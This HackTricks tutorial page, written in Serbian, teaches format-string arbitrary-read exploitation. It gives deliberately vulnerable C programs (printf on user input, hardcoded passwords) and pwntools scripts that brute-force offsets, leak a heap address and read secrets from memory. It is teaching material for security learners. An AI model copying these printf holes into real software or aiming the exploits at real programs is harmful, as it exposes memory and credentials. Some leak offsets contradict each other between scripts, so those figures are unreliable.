Format Strings - Arbitrary Read Example
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Čitanje binarnih podataka - Početak
Kod
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompajlirati sa:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Eksploatacija
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Offset je 11 jer je postavljanje nekoliko A i brute-forcing sa petljom offseta od 0 do 50 pokazalo da je na offsetu 11 i sa 5 dodatnih karaktera (cijevi
|
u našem slučaju) moguće kontrolisati punu adresu. - Koristio sam
%11$p
sa paddingom dok nisam dobio da je adresa sve 0x4141414141414141 - Format string payload je PRE adrese jer printf prestaje da čita na null bajtu, tako da ako pošaljemo adresu, a zatim format string, printf nikada neće doći do format stringa jer će null bajt biti pronađen pre
- Odabrana adresa je 0x00400000 jer je to mesto gde binarni fajl počinje (bez PIE)
Pročitaj lozinke
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Kompajlirati sa:
clang -o fs-read fs-read.c -Wno-format-security
Čitanje sa steka
stack_password
će biti smešten u stek jer je to lokalna promenljiva, tako da je dovoljno samo zloupotrebiti printf da prikaže sadržaj steka. Ovo je eksploatacija za BF prvih 100 pozicija da se otkriju lozinke iz steka:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Na slici je moguće videti da možemo da iscurimo lozinku iz steka na 10.
poziciji:
.png)
.png)
Čitanje podataka
Pokretanjem istog eksploita, ali sa %p
umesto %s
, moguće je iscuriti adresu iz heap-a iz steka na %25$p
. Pored toga, upoređujući iscurenu adresu (0xaaaab7030894
) sa pozicijom lozinke u memoriji u tom procesu, možemo dobiti razliku adresa:
Sada je vreme da pronađemo kako da kontrolišemo 1 adresu u steku da bismo joj pristupili iz druge ranjivosti format string-a:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
I moguće je videti da u try 14 sa korišćenim prosleđivanjem možemo kontrolisati adresu:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.